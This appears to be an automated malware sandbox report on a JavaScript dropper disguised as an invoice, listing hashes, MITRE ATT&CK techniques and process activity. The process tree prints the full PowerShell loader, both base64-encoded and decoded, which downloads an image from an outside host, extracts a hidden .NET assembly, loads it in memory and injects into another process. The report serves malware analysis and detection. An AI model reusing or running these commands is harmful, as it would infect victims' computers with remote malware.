c0acbf70e7b623d643dac71e8da2f4a18a5ba70777b3e2837dbff2cbcf09e2bb

General

Target

INVOICE 7632879527.js
Size

597KB
MD5

329d426755d7ab99cbc7acba0e18d100
SHA1

231d354d1bf4a3440432e2c815eebd328aa941de
SHA256

15e2210edd9c283e1cbf9f5cb74de5304e53b882c368abf9f5637e6d4743c5ca
SHA512

2c9bb53e55fc442ea79690fbfe28f105eadb926a2fc85f63e96b9ed244981c2b2364f0a0d21eb12c0e27f97fb4463f9ea1bc8fb21dadbc62e487dbcdaa03b24d
SSDEEP

12288:DaP9xPUyqAzjJ83ZXYFxdxC4WTpifTyVV5d5ROw8ArUSK5wQKgLQst05uxQEFP4Q:ysVJAgU2zyyFxZVU+vm

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2460	powershell.exe
6	2460	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2124	powershell.exe
2460	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2124	powershell.exe
2460	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1192 wrote to memory of 2124	1192	wscript.exe	30
PID 1192 wrote to memory of 2124	1192	wscript.exe	30
PID 1192 wrote to memory of 2124	1192	wscript.exe	30
PID 2124 wrote to memory of 2460	2124	powershell.exe	32
PID 2124 wrote to memory of 2460	2124	powershell.exe	32
PID 2124 wrote to memory of 2460	2124	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\INVOICE 7632879527.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQBhADYAMAAxADYAMAA2AC4AdQBzAC4AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AMQAwAC8AaQB0AGUAbQBzAC8AZABlAGEAdABoAG4AbwB0AGUAXwAyADAAMgA0ADAANwAvAGQAZQBhAHQAaABuAG8AdABlAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACkAOwAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAG8AbwB0AGwAZQBuAC8AdgBlAGQALgAyAHIALgAzADkAYgAzADQANQAzADAAMgBhADAANwA1AGIAMQBiAGMAMABkADQANQBiADYAMwAyAGUAYgA5AGUAZQA2ADIALQBiAHUAcAAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAnAGQAZQBzAGEAdABpAHYAYQBkAG8AJwAgACwAIAAnAGQAZQBzAGEAdABpAHYAYQBkAG8AJwAgACwAIAAnAGQAZQBzAGEAdABpAHYAYQBkAG8AJwAsACcAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMAMwAyACcALAAnAGQAZQBzAGEAdABpAHYAYQBkAG8AJwApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ootlen/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b9b1952e14af78b877dadb3b398fdd83

SHA1
5f33b289ae849d4ba1daca15af2820924733e549

SHA256
d6ec706fdbfc7f5973393a152bd20526cca130823a40df039fcd8fe9d39cef47

SHA512
3a5380f3c1b8c09a3c46b43bd26cf929e0484bd8342762cc82556e8c66498420fe4980370616ea989f74ae3d4049d51e9bf4952a38250988fae05c1706c11473

Download Submit
memory/2124-4-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download
memory/2124-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2124-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2124-7-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-10-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-9-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-8-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-11-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-17-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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